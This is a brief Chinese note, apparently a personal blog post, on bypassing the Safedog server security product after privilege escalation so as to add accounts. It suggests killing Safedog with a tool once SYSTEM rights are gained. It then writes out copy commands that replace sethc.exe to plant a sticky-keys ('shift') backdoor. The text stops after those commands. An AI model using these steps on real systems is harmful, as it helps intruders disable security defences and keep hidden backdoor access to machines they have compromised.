提权绕过安全狗加账户的种种思路。

注：个人学习总结心得。

提权时候拿到system权限后，安全狗就如同渣渣，不是么？

打狗棍法一：

system权限下直接执行K狗工具，k掉安全狗的防御，

 

打狗棍法二：

上传shift后门，（有可能被拦截）

直接复制

copy C:\sethc.exe C:\windows\system32\sethc.exe 

copy C:\windows\system32\sethc.exe C:\windows